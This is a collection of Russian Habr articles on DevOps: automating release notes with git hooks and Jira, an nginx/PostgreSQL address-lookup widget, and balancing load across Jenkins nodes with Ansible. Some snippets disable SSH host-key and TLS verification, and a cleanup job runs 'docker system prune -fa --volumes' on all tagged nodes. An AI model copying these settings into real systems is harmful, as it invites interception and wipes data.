Где `$PREV_HASH` — это коммит предыдущего релиза. Получив список хэшей, можно узнать сообщения коммитов. Ну а далее вставляем эту информацию в письмо и рассылаем всем подписчикам. Profit! Более того, многие CI системы умеют формировать changelog подобных изменений автоматически.
На словах все звучит красиво. Но на деле есть много подводных камней.
1. Зачастую разработчики пренебрегают написанием информативных сообщений коммитов. Из-за этого вместо понятного списка изменений вы можете получить полотно из fix, update, add, delete и.т.д.
2. В Release Notes попадут также инфраструктурные сообщения от вашего вендора git-сервера (Merge branch x to y, Merge pull request from z).
3. Во многих командах есть практика squash’ить коммиты перед мержем пул-реквеста, из-за чего большая часть информации о релизе будет безвозвратно утеряна.
Однако проблемы на этом не заканчиваются. Дело в том, что коммиты, (к сожалению), не представляют большой ценности для бизнеса. Даже если каждое сообщение будет максимально продумано и грамотно написано, скорее всего, это не даст продакт-оунеру никакой ценной информации, ведь разрозненный список коммитов тяжело дифференцировать в отдельные юниты работы.
Есть вариант хранить «бизнес-описания» в файле CHANGELOG.md. Однако это тоже ручная работа, автоматизации здесь нет. Тем не менее, у этого подхода есть и плюс - файл CHANGELOG.md тоже хранится в репозитории и, соответственно, его можно выносить на код-ревью.
#### Business Oriented Release Notes
> Вот если бы вы вставили названия и описания задач, которые сделали, это было бы другое дело. (с) Типичный продакт-оунер.
>
>
Ну что же, давайте попробуем.
Список новых коммитов — это единственное, что мы можем узнать при формировании релизов. Значит, нужно каким-то образом связать коммиты и задачи в доске между собой. Решение довольно очевидно: в каждом сообщении о коммите указываем id соответствующей задачи. После этого можно распарсить айдишники из отфильтрованных коммитов и с помощью API получить необходимую нам информацию.
Рисунок 1. Общая схема доставки Business Oriented Release NotesТакой подход позволяет объединить изменения кода с конкретными задачами бизнеса. Более того, коммиты (хэши и сообщения) можно вставлять в письма как дополнительную техническую информацию.
Все в этом подходе хорошо, кроме одной детали. Откуда мы знаем, что разработчики будут писать сообщения в коммитах так, как мы этого хотим? Хороший вопрос. Конечно, можно установить правила, описать их в CONTRIBUTING.md и надеяться, что люди станут их выполнять.
Но хотелось бы автоматизировать эту проверку. Причем желательно, чтобы она носила превентивный характер. То есть *не позволяла* бы написать некорректное сообщение коммита. К счастью, такой инструмент есть.
Есть еще один момент. Откуда мы знаем, что задачи в таск-трекинговой системе тоже будут описаны грамотно? На самом деле, это проблема. Часто разработчики решают вопросы голосом, а потом описывают задачу двумя-тремя словами. К сожалению, нет универсального способа проверить название и описание задач на полноту и ясность. Единственное решение — это внедрение культуры. Объяснять и рассказывать, почему это важно. Например, если вы завели двусмысленную задачу в пятницу вечером, есть вероятность, что в понедельник утром вы уже не вспомните, что конкретно надо было сделать.
Git Hooks
---------
Когда люди упоминают Git хуки, чаще всего на ум приходят webhooks: триггеры на пул-реквесты, комментарии, аппрувы и так далее. Однако Git нативно поддерживает локальные хуки, которые слушают события, происходящие в репозитории на вашей машине. Одно из таких событий — попытка создания коммита. И вот это уже интересно.
Git hook представляет собой обычный скрипт, который выполняется перед или после какой-то операции. В данном случае мы будем говорить о хуке [commit-msg](https://git-scm.com/docs/githooks). Если код возврата хука отличен от нуля, дальнейшая операция отменяется.
Все хуки по умолчанию должны быть расположены в директории .git/hooks. Чтобы хук начал работать, нужно создать файл с соответствующим названием (commit-msg) в директории. Например, вот простой хук на Python, проверяющий наличии ID задачи в сообщении коммита.
```
#!/usr/bin/env python3
import sys
import re
with open(sys.argv[1]) as file:
content = file.read()
if (not re.match(r'\[MTS-\d+\] - .+', content)):
raise NameError("The commit is not validated: {}".format(content))
```
В качестве аргумента командной строки передается путь до файла .git/COMMIT\_EDITMSG. Он содержит в себе сообщение коммита. Прочитав его, мы легко можем проверить строку на соответствие регулярному выражению.
Есть пара нюансов с хуками, которые нужно понимать.
**Первый нюанс** — хуки не сохраняются в системе контроля версий, так как директория .git не индексируется. То есть мы не можем просто запушить их в репозиторий и тем самым автоматически применить для всех будущих контрибьюторов.
Однако у этой проблемы есть решение. Например, можно создать отдельную директорию в проекте, которая будет индексироваться и где мы будем хранить хуки. После этого человеку требуется лишь сделать symlink между нашей кастомной директорией и .git/hooks. А лучше даже написать скрипт, который выполнит это автоматически.
**Второй нюанс** — хуки сложно написать совместимыми сразу с несколькими операционными системами. Например, если вы написали хук на bash и у вас на Linux все работает отлично, то у вашего коллеги на Windows или MacOS могут возникнуть проблемы. Поэтому для хуков используют высокоуровневые языки, но с ними мы должны быть уверены, что у всех разработчиков будет установлен язык, на котором написан хук (да еще и нужной версии). Лишние зависимости — лишние проблемы.
К счастью, многие инструменты сборки проектов предоставляют плагины/библиотеки для кросс-платформенной реализации git hooks. Моим личным фаворитом является [npm пакет Husky](https://github.com/typicode/husky). С помощью пары конфигурационных файлов можно добавить необходимый нам хук.
Далее просто указываем команду обновления хуков в package.json “preinstall”. Теперь перед каждой установкой зависимостей проекта вместе с тем будут обновляться и хуки. Также хорошим автономным решением является пакет [pre-commit](https://pre-commit.com/).
### Semantic Release
Если мы хотим автоматизировать процесс доставки Release Notes, встает проблема версионирования ПО. Можно создать свой набор правил. Например, поднимать нужную цифру в номере версии в зависимости от названия ветки, анализировать коммиты, задачи, теги и так далее. Или можно взглянуть на существующие готовые решения, которые подойдут для вашего проекта.
[Semantic Release](https://github.com/semantic-release/semantic-release) - это npm пакет, который полностью автоматизирует процесс деплоя, релизов, а также инкрементов версий.
Библиотека следует нескольким концепциям.
1. Есть одна главная ветка в репозитории (master). Все остальные — короткоживущие
2. Новый Pull Request — новый релиз
3. Начальная версия продукта — 1.0.0
По умолчанию Semantic Release следует правилам коммитирования по гайдлайну [Angular Commit Messages](https://github.com/angular/angular/blob/master/CONTRIBUTING.md#-commit-message-format). Однако их можно переопределять, что поможет в решении проблемы с культурой написания commit-message, которую я описывал выше.
Когда очередной пул-реквест попадает в master ветку, semantic release производит скан коммитов от текущего состояния до последнего релизного тега. fix поднимает patch версию, feat — минорную, а ! — мажорную (парсер при необходимости можно переопределить).
```
Была версия 1.0.1
feat: …
feat: …
fix: …
feat: …
Стала: 1.1.0
Была версия 2.0.3
build: ...
refactor: …
fix: …
Стала: 2.0.4
Была версия 12.12.4
docs: …
feat!: …
fix: …
Стала: 13.0.0
```
После успешного релиза (команда определяется конфигом) в Git создается новый тег, в описании которого добавляется отформатированная информация из полученных коммитов.
Вот пример конечного Release Notes из репозитория [eslint-plugin-unicorn](https://github.com/sindresorhus/eslint-plugin-unicorn/releases/tag/v34.0.0).
Рисунок 2. Пример конечных Release Notes, сгенерированных с помощью Semantic Release
Также отмечу, что библиотека не привязана строго к среде Javascript/Typescript. Благодаря наличию гибкой конфигурации ее можно интегрировать с любой системой сборки проектов, которую вы предпочитаете. Помимо этого, есть уже готовые решения. Например, плагин для [Maven](https://github.com/conveyal/maven-semantic-release) и [Gradle](https://github.com/tschulte/gradle-semantic-release-plugin).
Как вы заметили, Semantic Release исповедует подход Technical Oriented Release Notes. На мой взгляд, он отлично подходит для разработки библиотек и фреймворков (особенно open-source), но является спорным решением для сервисов.
Во-первых, Semantic Release не подходит для поддержки нескольких версий одновременно. Строго говоря, эта фича [поддерживается](https://semantic-release.gitbook.io/semantic-release/usage/workflow-configuration), но на мой взгляд сложность конфигурации и дополнительные специфические правила коммитирования не оправдают итоговый результат.
Во-вторых, релизы как правило привязываются к milestone или story, которые определяются потребностью бизнеса, а не признаком того, в каком формате вы написали сообщение коммита. Ну и в-третьих, релиз/деплой при каждом мерже в определенных ситуациях мера избыточная.
Как мы автоматизировали Release Notes
-------------------------------------
Вот мы и плавно подобрались к теме того, как автоматизация реализована у нас. Стек следующий: Gitlab, Jenkins, Jira и SonarQube. Схематично процесс формирования отображен на рисунке 3.
Рисунок 3. Процесс автоматической генерации Release Notes после деплояРазработчик пушит свои изменения в feature-branch (docs, refactoring, bugfix, и.т.д.) и создает Merge Request. Если все проверки (в том числе code-review) прошли успешно, изменения отправляются в develop ветку. Раз в день develop ветка разворачивается на dev-стенд (nightly builds).
После деплоя происходит процесс парсинга коммитов с целью определить ID задач, которые были затронуты в текущем релизе.
```
[MTS-2312] - PUT /rest/safe/rule/{ruleId} может вызывать только админ
…
[MTS-2326] - добавил сортировку по полю stage
```
В данном примере будет получен список из задач MTS-2312 и MTS-2326.
Теперь по [JIRA REST API](https://developer.atlassian.com/cloud/jira/platform/rest/v3/intro/) запрашиваем основную информацию по каждой задаче (название и описание).
```
GET /rest/api/2/issue/{issueIdOrKey}?fields=summary,description&expand=renderedFields
```
Обратите внимание на параметр expand=renderedFields. Дело в том, что summary и description возвращаются в формате JIRA разметки. При добавлении таких строк в письма их становится тяжело читать и воспринимать. Ранее описанный параметр добавляет в ответ эти же поля в виде HTML, который гораздо проще сверстать в письме.
После проставляем на задачи лейблы конечных стендов, где были развернуты изменения. Например, dev, staging или prod.
`PUT /rest/api/2/issue/{issueIdOrKey}`
`{ "update": { "labels": [ { "add": "staging" } ] } }`
В конце информация о выполненных задачах рассылается всем заинтересованным людям. Процесс для master ветки выполняется аналогичным образом.
К плюсам такого подхода можно отнести то, что он легко расширяем. Например, если мы поддерживаем несколько версий в production, то можно без проблем выполнять вышеописанный процесс для каждой релизной ветки.
В итоге мы получили автоматизированный процесс по рассылке писем со всеми задачи, которые были выполнены в рамках текущего релиза, а также их описаниями. Более того, он не требует значительных изменений в процессе разработки. Разработчикам достаточно лишь указывать ID задачи в Jira в каждом коммите. Но для того чтобы реализовать это на практике, требуется внедрение соответствующей культуры. Нужно объяснять сотрудникам, почему это важно и насколько позволяет повысить качество конечного продукта, ведь Release Notes — это тоже часть итогового результата.
Пожалуй, это все, что я вам хотел рассказать про автоматизацию Release Notes. Делитесь своими историями в комментариях. Расскажите, как этот процесс реализован у вас в проекте и спасибо за чтение! | https://habr.com/ru/post/572774/ | null | ru | null |
# Рецепты nginx: виджет Государственного Адресного Реестра
Для приготовления виджета Государственного Адресного Реестра, кроме [базы](https://habr.com/ru/post/585244/), нам также понадобится [nginx](https://nginx.org/ru/) и его плагины [postgres](https://github.com/RekGRpth/ngx_postgres) и [json](https://github.com/RekGRpth/ngx_http_json_module). Можно воспользоваться [готовым образом](https://github.com/RekGRpth/nginx.docker/pkgs/container/nginx.docker).
В базе была определена большая функция gar\_select от json и возвращающая json. Вот как раз она и нужна для использования через nginx.
Итак, сначала добавляем (в http-секцию вне server-секций) апстрим для подключения к базе:
```
upstream gar {
# подключаемся к хосту postgres
# на порт 5432
# к базе gar
# под пользователем gar
postgres_server host=postgres port=5432 dbname=gar user=gar;
# задаём лог для апстрима
postgres_log /var/log/nginx/gar.err;
# будем держать по одному постоянному соединению с базой
# (на каждый рабочий процеесс)
postgres_keepalive 1;
# будем держать по одному подготовленному оператору
# (на каждое постоянное соединение с базой)
postgres_prepare 1 overflow=deallocate;
}
```
а в server-секцию добавляем использование
```
location =/gar_select.json {
# задаём логи
access_log /var/log/nginx/gar_select.json.log main;
error_log /var/log/nginx/gar_select.json.err;
# направляем запрос на определённый выше апстрим
postgres_pass gar;
# разрешаем использование подготовленных операторов
postgres_prepare true;
# задаём собственно запрос
# (просто вызывая ту самую функцию gar_select,
# передавая ей в качестве аргумента GET-параметры
# в виде json)
# ** сразу хочу предупредить: здесь НЕТ sql-инъекций! **
postgres_query "select gar_select($json_get_vars::json)";
# в результате выдаём json
postgres_output json;
}
```
Т.о. получаем что-то типа REST интерфейса к таблице gar, который будем использовать из JavaScript.
Сначала загрузим стили и скрипты в index.html
```
ГАР
| | | |
| --- | --- | --- |
| gar-select: | | |
```
а вот сам скрипт index.js
```
// после загрузки страницы
$(document).ready(function() {
// для каждого селекта с соответствующим классом
$('select.gar-select').each(function(number, select) {
// определяем функцию от элемента
function data(item) {return {
// возвращающую строку для select2
id: $.isArray(item) ? item[item.length - 1].id : item.id,
item: item,
text: $.isArray(item) ? item.map(function(item) {return item.text}).join(', ') : item.text,
}}
// а также функцию от элемента для его применения в select2
function select2(item) {$(select).data('select2').trigger('select', {data: data(item)})}
// инициализируем select2
$(select).select2({
// будем делать запросы
ajax: {
// формируем GET-параметры для функции gar_select
data: function(params) {return {
full: !$.isEmptyObject(select.value) || ($.isEmptyObject(params.term) && $.isEmptyObject(select.value) && !$.isEmptyObject(select.dataset.id)),
id: $.isEmptyObject(params.term) && $.isEmptyObject(select.value) && !$.isEmptyObject(select.dataset.id) ? select.dataset.id : undefined,
limit: select.dataset.limit || 10,
offset: ((params.page || 1) - 1) * (select.dataset.limit || 10),
parent: !$.isEmptyObject(select.value) ? select.value : undefined,
text: params.term,
}},
dataType: 'json', // задаём тип результата
delay: 300, // и задержку
// задаём функцию обработки результата
processResults: function(response, params) {return {
results: response.data.map(data),
pagination: {more: response.offset < response.count}
}},
// адрес можно задать прямо в теге
url: select.dataset.url || 'gar_select.json',
},
allowClear: true, // показываем кнопку очистки
closeOnSelect: false, // не закрываем при выборе
dropdownParent: $(select).parent(), // располагаем в родителе
language: 'ru', // использеум русский язык
})
// при нажатии на кнопку очистки
$(select).on('select2:clear', function(event) {
// получаем элемент
var item = event.params.data[0].item
if ($.isArray(item)) {
// и если ещё не дошли до верха
item = item.slice(0, -1)
// то показываем родителя
if (item.length) {select2(item)}
}
// открываем выбор
setTimeout(function() {$(select).select2('open')})
})
// при выборе
$(select).on('select2:select', function(event) {
// запускаем поиск
$(select).data('select2').trigger('query', {})
// очищаем строку поиска
$(select).parent().find('.select2-search__field').val('').trigger('focus')
})
// если задан первоначальный уид
if (select.dataset.initial) {$.ajax({
// выполняем запрос
url: $(select).data('select2').options.options.ajax.url,
dataType: $(select).data('select2').options.options.ajax.dataType,
data: {id: select.dataset.initial}
}).done(function(response) {
// и выбираем результат
select2(response.data)
// закрываем выбор
$(select).select2('close')
})}
})
})
```
Ещё, с помощью плагинов [evaluate](https://github.com/RekGRpth/ngx_http_evaluate_module) и [mustach](https://github.com/RekGRpth/ngx_http_mustach_module) можно организовать html-интерфейс:
```
location =/gar_select.html {
# задаём логи
access_log /var/log/nginx/gar_select.html.log main;
error_log /var/log/nginx/gar_select.html.err;
# вычисляем соответсвующие под-запросы
# в соотвествующие переменные
evaluate $json /gar_select.json;
evaluate $template /gar_select.template;
# задаём данные для шаблонизатора
mustach_json $json;
# задаём шаблон
mustach_template $template;
# задаём тип результата
mustach_content text/html;
}
location =/gar_select.template {
access_log /var/log/nginx/gar_select.template.log main;
error_log /var/log/nginx/gar_select.template.err;
internal;
}
```
Собственно сам шаблон gar\_select.template
```
ГАР
var limit = {{limit}};
var offset = {{offset}};
var count = {{count}};
| | | | | | | | | |
{{#data}}
| {{id}} | [{{parent}}](gar_select.html?child=true&id={{parent}}) | {{name}} | {{short}} | {{type}} | {{post}} | {{object}} | {{region}} | {{text}} | |
{{/data}}
| | | | | |
| --- | --- | --- | --- | --- |
| | limit: | offset: | | Всего {{count}} |
```
и скрипт для пагинации gar\_select.js
```
// после загрузки страницы
document.addEventListener('DOMContentLoaded', function() {
// вычисляем количество страниц
var pages = Math.ceil(count / limit)
// вычисляем текущую страницу
var page = Math.ceil(offset / limit) + 1
// если все резульаты помещяются на одну страницу
if (count <= limit) {
// то скрываем пагинацию
$('#pagination').parent().parent().hide()
}
// если есть результаты
if (count > 0) {
// то добавляем информацию об этом
$('#record').append('Записи с ' + (offset + 1) + ' по ' + Math.min(offset + limit, count))
} else {
// иначе - скрываем
$('#record').hide()
}
// рассчитываем кнопки пагинации
for (var pag = 1, more = false; pag <= pages; pag++) {
if (pages <= 15 || pag <= 3 || pag >= pages - 2 || (page - 1 <= pag && pag <= page + 1)) {
$('#pagination').append(
$('', {
type: 'button',
value: pag,
disabled: pag == page,
}).click(function(event) {
$('input[name=offset]').val((this.value - 1) * limit)
$('form').submit()
})
)
more = false
} else if (!more && (pag == 4 || pag == pages - 3)) {
$('#pagination').append($('').text('...'))
more = true
}
}
// при изменении в верхних фильтрах
$('input.offset').change(function(event) {
// сбрасываем офсет
$('input[name=offset]').val(0)
})
// по клике на дочерних
$('input[name=child]').click(function(event) {
// сбрасываем офсет
$('input[name=offset]').val(0)
// и всё, кроме количества
$('input.offset').not('[name=limit]').val('')
// задаём родителя
$('input[name=parent]').val($(this).attr('parent'))
// и отправляем форму
$('form').submit()
})
})
```
Как пример того, что плагин [evaluate](https://github.com/RekGRpth/ngx_http_evaluate_module) может обрабатывать вложенные под-запросы, и в качестве примера работы плагина [htmldoc](https://github.com/RekGRpth/ngx_http_htmldoc_module) можно html преобразовать в pdf:
```
location =/gar_select.pdf {
# задаём логи
access_log /var/log/nginx/gar_select.pdf.log main;
error_log /var/log/nginx/gar_select.pdf.err;
# вычисляем под-запрос в переменную
evaluate $html /gar_select.html;
# преобразуем html в pdf
html2pdf $html;
}
```
Т.о., можно в любом месте, где нужен выбор адреса использовать виджет. Его же можно ипользовать и для поиска. Например, если нужно "найти все услуги на такой-то улице", то пользователь выбирает улицу в виджете, бакенд получает уид этой улицы, а по нему с помощью готовой функции gar\_select\_child получет уиды всех дочерних элементов (домов, квартир, комнат, ...) с помощью которых уже может фильтровать в своей базе.
```
-- создаём или меняем функцию от ...
CREATE OR REPLACE FUNCTION gar_select_child(parent uuid, name text, short text, type text, post text, region text) RETURNS SETOF gar_view LANGUAGE sql STABLE AS $body$
with _ as (
with recursive _ as ( -- рекурсивно
-- начиная сверху или с заданного элемента
select gar.*, 0 as i from gar where (gar_select_child.parent is null and parent is null) or id = gar_select_child.parent
union
-- и продолжая вниз
select gar.*, _.i + 1 as i from gar inner join _ on _.id = gar.parent
) select * from _ where i > 0
-- добавляя если нужно различные фильтры
and (gar_select_child.name is null or name ilike gar_select_child.name||'%' or name ilike '% '||gar_select_child.name||'%' or name ilike '%-'||gar_select_child.name||'%' or name ilike '%.'||gar_select_child.name||'%')
and (gar_select_child.short is null or short ilike gar_select_child.short)
and (gar_select_child.type is null or case when gar_select_child.type ilike '{%}' then type = any(gar_select_child.type::text[]) else type ilike gar_select_child.type||'%' end)
and (gar_select_child.post is null or post ilike gar_select_child.post||'%')
and (gar_select_child.region is null or case when gar_select_child.region ilike '{%}' then region = any(gar_select_child.region::smallint[]) else region = gar_select_child.region::smallint end)
order by i
) select id, parent, name, short, type, post, region, gar_text(name, short, type) AS text from _ order by to_number('0'||name, '999999999'), name;
$body$;
``` | https://habr.com/ru/post/585476/ | null | ru | null |
# Балансируем нагрузку в Jenkins
В Arenadata мы используем Jenkins для CI. Почему? Как бы банально это ни звучало — так исторически сложилось. Мы хранили код в GitHub, когда там ещё не было Actions, и продолжаем хранить, потому что много работаем с Open Source. За три года работы с Jenkins мы неплохо разобрались в нём, в том числе научились быстро масштабироваться, чтобы удовлетворять запросы разработки. В этой статье хочу поделиться тем, что мы успели понять про разные способы балансировки нагрузки в Jenkins. Если вам это близко, добро пожаловать под кат.
---
Для тех, кто давно эксплуатирует Jenkins и кому проблемы, связанные с его эксплуатацией, набили оскомину, сразу напишу список того, о чём я ***не*** буду рассказывать в этой статье:
* как быстро обновлять плагины Jenkins и не сломаться;
* как следить за адом зависимостей плагинов;
* что делать, если наш плагин перестали поддерживать (да и надо ли это обсуждать, речь ведь про Open Source).
Речь пойдёт о том, какими способами мы решали задачу балансировки нагрузки в Jenkins и что из этого получилось.
Небольшие вводные: Jenkins — это фреймворк автоматизации, написанный на языке Java. Понятно, что для успешного использования любого фреймворка неплохо бы владеть языком, на котором этот фреймворк написан, но где вы видели отделы DevOps, которые умеют писать на Java? Вот и наша DevOps-команда на Java не пишет. Однако пока нам удавалось успешно справляться со всеми вызовами, используя Jenkins.
Как в Jenkins балансируют нагрузку
----------------------------------
Для каждого узла указаны:
* метки (labels) — описывают задачи, которые могут запускаться на узле; название узла тоже является меткой;
* исполнители (executors) — их количество определяет количество одновременно запущенных задач на узле Jenkins.
Все билды встают в **очередь**, зная **label** узла, на которой должны выполниться; как только на узле освобождается **executor**, запускается билд.
С одной стороны, современный CI — это запустить в контейнере что-нибудь очень легковесное (например, *pylint, ansible-lint* и так далее) и дать обратную связь, а с другой — развернуть окружение, запустить тесты и прибраться за собой. Так что придётся потрудиться даже узлу, на котором работает один лишь управляющий процесс для тестов, а всё остальное развернуто за его пределами. Например, мы запускаем [pytest](https://docs.pytest.org/) c плагином [xdist](https://github.com/pytest-dev/pytest-xdist). Компиляция и сборка тоже могут быть очень ресурсоёмкими. Поэтому нельзя просто взять десяток узлов, прилепить им метку «docker» и насыпать побольше исполнителей: они будут постоянно конкурировать друг с другом за ресурсы. У вас не получится адекватно и просто позаботиться о том, чтобы запущенные пайплайны не задушили друг друга или узел.
Итак, проблема понятна, давайте её решать.
Исходные условия:
* Jenkins;
* инфраструктура в облаке;
* множество команд разработки, потребности которых постоянно растут;
* разнообразные требования по мощности к узлам Jenkins;
* DevOps умеют писать на Python, но не на Java.
### Проблемы
1. Управление состоянием кластера Jenkins.
2. Очереди на выполнение. «Слишком большие — дайте мощностей!»
3. Бережное использование ресурсов. «Очереди нет, надо убрать лишнее».
4. Когда узлов становится больше 10, становится сложно визуально понять, какие проекты используют выделенные мощности, а какие нет. Нужны мониторинг и аналитика.
5. Нужно постоянно помнить о необходимости убираться на узлах, чтобы они были в работоспособном состоянии.
6. Конкуренция на узлах за ресурсы.
7. Labels hell.
Подход первый: Ansible
----------------------
Начинали мы с самой простой задачи: нам надо было оперативно добавлять и удалять мощности из кластера. Конечно же, пишем ansible-playbook и сразу наслаждаемся бенефитами.
* Набор софта на узле зафиксирован и версионируется.
* Чтобы добавить в кластер новый узел, создаём виртуалку с заранее известным SSH-ключом, добавляем в Inventory и запускаем плейбук. Это действие, конечно же, легко автоматизируется, тут кому как будет удобней: Terraform + Ansible и динамический Inventory, а можно и на чистом Ansible. Получаем узел в кластере и данные узла в мониторинге.
* Можно пытаться оперативно удалять и добавлять узлы, чтобы сэкономить деньги в ручном режиме. На самом деле это не работает, потому что узлы обычно добавляются там, где мало мощностей, а там, где их хватает, никто не жалуется. Поэтому сподвигнуть вас удалить лишние узлы могут только сбор метрик и аналитика.
Мы периодически дорабатывали плейбук, обычно меняя список пакетов по умолчанию или их версий. Держали всё, что нужно на всех узлах, поддерживали несколько операционных систем и архитектур.
Для балансировки нагрузки мы сделали небольшой пул узлов с меткой «docker», добавили побольше исполнителей и стали там запускать все незатратные процессы. А для проектов и стадий пайплайнов, которые требовали много ресурсов, сделали отдельные узлы с одним исполнителем.
В погоне за оптимизацией эти пулы узлов начинают пересекаться (некоторые узлы имеют более одной метки): выделенные мощные узлы продвигали очередь заданий по проектам, а общие узлы — это способ оптимизации использования ресурсов. Когда проектов всего два-три, всё выглядит просто. Но когда их становится пять, выбирать оптимальное минимальное количество выделенных и общих ресурсов становится сложно, все будет происходить интуитивно и соответственно не контролируемо. И с увеличением количества проектов ваш меточный ад будет всё страшнее. Кажется, что решить эту проблему получится только с помощью снятия метрик пайплайнов и написания алгоритма принятия решений, который будет выдавать нужные значения. И наверняка вам захочется интегрировать это всё в роль и гонять по расписанию.
Спойлер: мы так не сделали.
Да, управление кластером становится простым и лёгким, а ручные манипуляции сводятся к минимуму. Но я, если честно, спустя год начал ненавидеть постоянные добавления и удаления YAML.
С одной стороны, мы приблизились к решению проблем из пунктов 1, 2 и 3. Но я ещё ничего не сказал о мастере. Да и если хочется заботиться о ресурсах как следует, то есть ещё большой резерв по совершенствованию решений проблем из пунктов 2 и 3.
Подход второй: Slave Setup Plugin
---------------------------------
В первом приближении стало понятно, как администрировать кластер. Правда, следить за метками было всё ещё неудобно, а идея, которая позволит улучшить ситуацию, выглядела сложной в реализации. Мониторинга и аналитики до сих пор не было. Задачи, которые запускались на docker-узлах, периодически «перерастали» их, это тоже было неприятно.
В следующей итерации мы нашли прекрасный [Slave setup plugin](https://plugins.jenkins.io/slave-setup/), который позволяет выполнять произвольный скрипт при запуске slave-узла и в глобальных настройках на master-узле, чтобы включать slave по мере надобности и выключать его спустя какое-то время бездействия.
Пришло время сэкономить немного денег: будем включать/выключать узлы по требованию. Таким образом можно создать узлы с избытком, чтобы в определённых пределах нагрузки не возникло больших очередей. Переплачивать мы будем только за диски. Хотя и это не обязательно, ведь slave-узел можно не включать/выключать, а создавать/удалять, для master никакой разницы нет.
Тут ничего сложного:
* устанавливаем плагин;
* переписываем наш Ansible, чтобы он умел распознавать узлы, умеющие выключаться/включаться по требованию;
* пишем скрипт, который будет усыплять узел, а потом нежно будить его на работу по первому зову из очереди; вооружаем master этим скриптом.
Тут нужно кое-что пояснить. Для управления кластером Jenkins мы используем собственную платформу [Arenadata Cluster Manager](https://docs.arendata.io/adcm/) (ADCM). Она хранит в себе информацию об узлах и умеет их создавать, включать, отключать и удалять. Наш скрипт запрашивает эти операции, а вся логика содержится в ansible-плейбуках ADCM. В общем случае же достаточно, чтобы скрипт дожидался доступности узлов по SSH после их запуска, а после выключения дожидался, пока облако закончит операцию.
Создавать узлы можно напрямую через rest API Jenkins или выполнять groovy-скрипты на мастере, отправляя тело скрипта так же — через rest api.
Мы пошли вторым путём.
Обновленный кусок плейбука Ansible
```
- name: Add agent with auto start/stop via jenkins script
tags: [ install, config ]
become: false
when: autostart
delegate_to: localhost
jenkins_script:
user: "{{ services.jenkins.config.jenkins_master_user }}"
password: "{{ services.jenkins.config.jenkins_master_password }}"
validate_certs: False
timeout: 120
url: "{{ services.jenkins.config.jenkins_url }}"
script: |
import hudson.model.*
import jenkins.model.*
import hudson.slaves.*
import hudson.slaves.RetentionStrategy.Demand
import hudson.plugins.sshslaves.*
import hudson.plugins.sshslaves.verifiers.NonVerifyingKeyVerificationStrategy
import org.jenkinsci.plugins.slave_setup.SetupSlaveLauncher
String nodeHostname = "{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}"
String nodeCredentialID = "{{ services.jenkins.config.jenkins_agent_credentials_id }}"
int nodePort = 22
ComputerLauncher nodeLauncher = new SetupSlaveLauncher(
new SSHLauncher(nodeHostname, // The host to connect to
nodePort, // The port to connect on
nodeCredentialID, // The credentials id to connect as
null, // Options passed to the java vm
null, // Path to the host jdk installation
null, // This will prefix the start slave command
null, // This will suffix the start slave command
30, // Launch timeout in seconds
20, // The number of times to retry connection if the SSH connection is refused
10, // The number of seconds to wait between retries
new NonVerifyingKeyVerificationStrategy()),
"/bin/jenkins_nodes_manager.sh {{ inventory_hostname }} start", // start script
"/bin/jenkins_nodes_manager.sh {{ inventory_hostname }} stop") // stop script
String nodeName = "{{ inventory_hostname }}"
String nodeRemoteFS = "/home/jenkins"
Node node = new DumbSlave(nodeName, nodeRemoteFS, nodeLauncher)
node.setNumExecutors("{{ services.jenkins.config.node_executor_num[inventory_hostname] }}" as Integer)
node.setLabelString("{{ services.jenkins.config.node_labels[inventory_hostname] }}")
node.setRetentionStrategy(new Demand(0, 10))
Jenkins jenkins = Jenkins.get()
jenkins.addNode(node)
- name: Add agent without auto start/stop via jenkins script
tags: [ install, config ]
when: not autostart
become: false
delegate_to: localhost
jenkins_script:
user: "{{ services.jenkins.config.jenkins_master_user }}"
password: "{{ services.jenkins.config.jenkins_master_password }}"
validate_certs: False
timeout: 120
url: "{{ services.jenkins.config.jenkins_url }}"
script: |
import hudson.model.*
import jenkins.model.*
import hudson.slaves.*
import hudson.slaves.RetentionStrategy.Demand
import hudson.plugins.sshslaves.*
import hudson.plugins.sshslaves.verifiers.NonVerifyingKeyVerificationStrategy
import org.jenkinsci.plugins.slave_setup.SetupSlaveLauncher
String nodeHostname = "{{ hostvars[inventory_hostname]['ansible_default_ipv4']['address'] }}"
String nodeCredentialID = "{{ services.jenkins.config.jenkins_agent_credentials_id }}"
int nodePort = 22
ComputerLauncher nodeLauncher = new SSHLauncher(nodeHostname,
nodePort,
nodeCredentialID,
null,
null,
null,
null,
30,
20,
10,
new NonVerifyingKeyVerificationStrategy())
String nodeName = "{{ inventory_hostname }}"
String nodeRemoteFS = "/home/jenkins"
Node node = new DumbSlave(nodeName, nodeRemoteFS, nodeLauncher)
node.setNumExecutors("{{ services.jenkins.config.node_executor_num[inventory_hostname] }}" as Integer)
node.setLabelString("{{ services.jenkins.config.node_labels[inventory_hostname] }}")
node.setRetentionStrategy(new Demand(0, 10))
Jenkins jenkins = Jenkins.get()
jenkins.addNode(node)
```
Осталю ссылку на [репозиторий Cloudbees](https://github.com/cloudbees/jenkins-scripts) со всякими скриптами для администрирования Jenkins, там можно черпать вдохновление по написанию скриптов как ансибле выше. Мы добавляем узлы с помощью groovy-скрипта, но у Jenkins много клиентов на различных языках, и вы сможете использовать в Ansible то, что вам ближе.
В итоге нашим разработчикам стало немного легче, а узлов стало гораздо больше. Хотя мы постарались снизить расходы, в работе иногда возникают проблемы, из-за которых затраты могут оказаться выше запланированных.
Например, при обилии узлов некоторые задачи зависали не из-за Jenkins, а из-за исполняемых в них процессов. DevOps не всегда предусматривает таймаут, а заметить зависшую задачу в пользовательском интерфейсе теперь уже сложно, ведь мониторинга метрик пайплайнов у нас ещё не было.
Если вы плохо следите за узлами, то на каких-нибудь из них может кончиться свободное место, Jenkins пометит такие узлы как «нездоровые» и забудет их выключить. Хотелось бы, чтобы он этого не забывал.
Ещё может [зависнуть](https://stackoverflow.com/questions/49024987/docker-prune-stuck-in-a-prune-operation-is-already-running) исполнение задачи на очистку. И вместо очистки и усыпления узел продолжит работать, а компания — платить. Да, уборка на jenkins-узлах обычно сводится именно к удалению всего, что осталось после контейнеров и образов.
Очистка jenkins slave узлов
```
node('jenkins') {
stages = [:]
nodesByLabel(label: 'clean_docker', offline: true).each {
stages[it] = {
node(it) {
stage("Clean ${it}") {
sh 'docker system prune -fa --volumes'
}
}
}
}
parallel(stages)
}
```
С помощью Slave Setup Plugin мы стали экономнее, но, кажется, с метриками и аналитикой было бы лучше, не были решены и другие проблемы.
Подход третий: динамические узлы
--------------------------------
